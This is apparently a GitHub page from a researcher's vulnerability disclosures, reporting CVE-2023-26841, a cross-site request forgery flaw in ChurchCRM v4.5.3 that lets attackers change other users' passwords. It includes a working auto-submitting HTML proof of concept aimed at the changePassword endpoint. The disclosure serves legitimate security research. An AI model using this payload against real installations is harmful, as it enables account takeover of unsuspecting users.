Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-Disclosures/ChurchCRM/CVE-2023-26841/
CVE-Disclosures/ChurchCRM/CVE-2023-26841/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

CVE-2023-26841 - Cross-Site Request Forgery (CSRF) via changePassword

Researchers 10splayaSec
Severity 6.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:H/A:N)
Published https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26841
Software Link https://github.com/ChurchCRM/CRM

Description

A cross-site request forgery (CSRF) vulnerability in ChurchCRM v4.5.3 allows attackers to change any user's password except for the user that is currently logged in.

Proof of Concept

  1. Using the HTML below, we can change any user’s passwords on the site except for the user that is currently logged in doing the action.
<html>
	<body>
		<form method="POST" action="http://testing.10splaya.com/churchcrm/v2/user/<ID>/changePassword">
			<input type="hidden" name="NewPassword1" value="<PASSWORD>"/>
			<input type="hidden" name="NewPassword2" value="<SAME PASSWORD>"/>
			<input type="hidden" name="Submit" value="Save"/>
			<input type="submit" value="Submit">
		</form>
		<script>
			document.forms[0].submit();
		</script>
	</body>
<html>